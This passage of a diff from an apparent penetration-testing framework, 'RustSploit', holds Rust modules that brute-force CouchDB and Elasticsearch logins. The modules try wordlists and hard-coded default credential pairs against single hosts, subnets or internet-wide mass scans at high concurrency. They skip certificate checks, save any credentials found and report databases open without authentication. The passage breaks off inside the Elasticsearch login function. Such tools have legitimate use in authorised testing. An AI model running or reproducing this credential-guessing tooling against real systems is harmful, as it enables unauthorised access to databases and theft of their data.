|
||||
return Some(format!(
|
||||
"[{}] {}:{}:{}:{}\n",
|
||||
ts, ip, port, user, pass
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check if CouchDB is open (no auth required)
|
||||
let dbs_url = format!("http://{}:{}/_all_dbs", ip, port);
|
||||
if let Ok(r) = client.get(&dbs_url).send().await {
|
||||
if r.status().as_u16() == 200 {
|
||||
if let Ok(b) = r.text().await {
|
||||
if b.starts_with('[') {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!(
|
||||
"[{}] {}:{} CouchDB open (no auth required)\n",
|
||||
ts, ip, port
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 = cfg_prompt_port("port", "CouchDB Port", DEFAULT_COUCHDB_PORT).await?;
|
||||
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"couchdb_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let timeout_secs: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "couchdb",
|
||||
source_module: "creds/generic/couchdb_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("http://{}:{}", ip, port);
|
||||
match try_couchdb_login(&base_url, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "CouchDB Port", DEFAULT_COUCHDB_PORT).await?;
|
||||
|
||||
// Ask about default credentials
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "couchdb_brute_results.txt")
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every pass with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let connect_addr = format!("{}:{}", normalized, port);
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Starting brute-force on {}", connect_addr).cyan()
|
||||
);
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Added {} default credentials",
|
||||
DEFAULT_CREDENTIALS.len()
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("http://{}:{}", t, p);
|
||||
match try_couchdb_login(&base_url, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "couchdb",
|
||||
source_module: "creds/generic/couchdb_bruteforce",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored CouchDB responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "couchdb_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# CouchDB Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt CouchDB login via session cookie authentication and Basic Auth fallback.
|
||||
///
|
||||
/// Primary method: POST to `/_session` with JSON `{"name":"user","password":"pass"}`.
|
||||
/// A 200 response containing `"ok":true` indicates success.
|
||||
///
|
||||
/// Fallback: GET `/_all_dbs` with HTTP Basic Auth to verify access.
|
||||
///
|
||||
/// Returns:
|
||||
/// - `Ok(true)` — authentication succeeded
|
||||
/// - `Ok(false)` — credentials rejected (401)
|
||||
/// - `Err(_)` — connection/timeout/protocol error
|
||||
async fn try_couchdb_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let client = ClientBuilder::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true)
|
||||
.cookie_store(true)
|
||||
.timeout(timeout_duration)
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Primary: cookie-based session authentication
|
||||
let session_url = format!("{}/_session", base_url);
|
||||
let payload = format!(
|
||||
"{{\"name\":\"{}\",\"password\":\"{}\"}}",
|
||||
username.replace('\\', "\\\\").replace('"', "\\\""),
|
||||
password.replace('\\', "\\\\").replace('"', "\\\""),
|
||||
);
|
||||
|
||||
let session_resp = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client
|
||||
.post(&session_url)
|
||||
.header("Content-Type", "application/json")
|
||||
.body(payload)
|
||||
.send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => {
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("Connection refused") || err_str.contains("connect") {
|
||||
return Err(anyhow!("Connection refused: {}", err_str));
|
||||
}
|
||||
return Err(anyhow!("Request error: {}", err_str));
|
||||
}
|
||||
Err(_) => return Err(anyhow!("Connection timeout")),
|
||||
};
|
||||
|
||||
let status = session_resp.status().as_u16();
|
||||
|
||||
match status {
|
||||
200 => {
|
||||
let body = match tokio::time::timeout(timeout_duration, session_resp.text()).await {
|
||||
Ok(Ok(b)) => b,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading response")),
|
||||
};
|
||||
// CouchDB returns {"ok":true, "name":"admin", "roles":["_admin"]} on success
|
||||
if body.contains("\"ok\":true") || body.contains("\"ok\": true") {
|
||||
return Ok(true);
|
||||
}
|
||||
// Got 200 but no ok:true — fall through to Basic Auth check
|
||||
}
|
||||
401 => return Ok(false),
|
||||
_ => {
|
||||
// Non-standard response — fall through to Basic Auth check
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: HTTP Basic Auth against _all_dbs
|
||||
let dbs_url = format!("{}/_all_dbs", base_url);
|
||||
let dbs_resp = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client
|
||||
.get(&dbs_url)
|
||||
.basic_auth(username, Some(password))
|
||||
.send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Basic auth request error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout on Basic auth request")),
|
||||
};
|
||||
|
||||
let dbs_status = dbs_resp.status().as_u16();
|
||||
|
||||
match dbs_status {
|
||||
200 => {
|
||||
let body = match tokio::time::timeout(timeout_duration, dbs_resp.text()).await {
|
||||
Ok(Ok(b)) => b,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read _all_dbs response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading _all_dbs response")),
|
||||
};
|
||||
// _all_dbs returns a JSON array of database names
|
||||
if body.starts_with('[') {
|
||||
Ok(true)
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
401 => Ok(false),
|
||||
403 => Ok(false),
|
||||
_ => Err(anyhow!("Unexpected HTTP status: {}", dbs_status)),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,574 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use reqwest::ClientBuilder;
|
||||
use std::{io::Write, net::IpAddr, sync::Arc, time::Duration};
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
|
||||
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// Constants
|
||||
const DEFAULT_ES_PORT: u16 = 9200;
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("elastic", "elastic"),
|
||||
("elastic", "changeme"),
|
||||
("admin", "admin"),
|
||||
("elastic", "password"),
|
||||
("kibana", "kibana"),
|
||||
("elastic", ""),
|
||||
("admin", "password"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("logstash_system", "logstash_system"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Elasticsearch Brute Force".to_string(),
|
||||
description: "Brute-force Elasticsearch HTTP Basic authentication. Tests credentials \
|
||||
against the cluster root endpoint and security API. Supports default credential \
|
||||
testing, combo mode, concurrent connections, and subnet/mass scanning."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Elasticsearch Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ HTTP Basic Auth Credential Testing (port 9200) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
// Build client ONCE and share — avoids OOM from per-host client creation
|
||||
let mass_client = Arc::new(
|
||||
reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(5))
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?,
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "Elasticsearch",
|
||||
default_port: 9200,
|
||||
state_file: "elasticsearch_hose_state.log",
|
||||
default_output: "elasticsearch_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| {
|
||||
let client = mass_client.clone();
|
||||
async move {
|
||||
let client = &*client;
|
||||
|
||||
// Check if port responds with Elasticsearch JSON
|
||||
let url = format!("http://{}:{}/", ip, port);
|
||||
let resp = client.get(&url).send().await.ok()?;
|
||||
let body = resp.text().await.ok()?;
|
||||
if !body.contains("cluster_name") {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Port is open and running Elasticsearch — try default creds
|
||||
let creds = [
|
||||
("elastic", "elastic"),
|
||||
("elastic", "changeme"),
|
||||
("admin", "admin"),
|
||||
("elastic", "password"),
|
||||
("elastic", ""),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
let auth_url = format!("http://{}:{}/_security/_authenticate", ip, port);
|
||||
let req = client.get(&auth_url).basic_auth(user, Some(pass));
|
||||
if let Ok(r) = req.send().await {
|
||||
if r.status().as_u16() == 200 {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"elasticsearch",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/elasticsearch_bruteforce",
|
||||
)
|
||||
.await;
|
||||
return Some(format!(
|
||||
"[{}] {}:{}:{}:{}\n",
|
||||
ts, ip, port, user, pass
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// If none of the creds worked but ES responded, it might be open (no auth)
|
||||
let check_url = format!("http://{}:{}/", ip, port);
|
||||
if let Ok(r) = client.get(&check_url).send().await {
|
||||
if r.status().as_u16() == 200 {
|
||||
if let Ok(b) = r.text().await {
|
||||
if b.contains("cluster_name") {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!(
|
||||
"[{}] {}:{} Elasticsearch open (no auth required)\n",
|
||||
ts, ip, port
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 = cfg_prompt_port("port", "Elasticsearch Port", DEFAULT_ES_PORT).await?;
|
||||
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"elasticsearch_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let timeout_secs: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "elasticsearch",
|
||||
source_module: "creds/generic/elasticsearch_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("http://{}:{}", ip, port);
|
||||
match try_es_login(&base_url, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "Elasticsearch Port", DEFAULT_ES_PORT).await?;
|
||||
|
||||
// Ask about default credentials
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output file",
|
||||
"elasticsearch_brute_results.txt",
|
||||
)
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every pass with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let connect_addr = format!("{}:{}", normalized, port);
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Starting brute-force on {}", connect_addr).cyan()
|
||||
);
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Added {} default credentials",
|
||||
DEFAULT_CREDENTIALS.len()
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("http://{}:{}", t, p);
|
||||
match try_es_login(&base_url, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "elasticsearch",
|
||||
source_module: "creds/generic/elasticsearch_bruteforce",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored Elasticsearch responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "elasticsearch_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# Elasticsearch Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt Elasticsearch login via HTTP Basic Auth.
|
||||
///
|
||||
/// Checks the `/_security/_authenticate` endpoint first (Elasticsearch security API).
|
||||
/// Falls back to the cluster root endpoint `/` and looks for `cluster_name` in the
|
||||
/// JSON response to confirm authenticated access.
|
||||
///
|
||||
/// Returns:
|
||||
/// - `Ok(true)` — authentication succeeded
|
||||
/// - `Ok(false)` — credentials rejected (401)
|
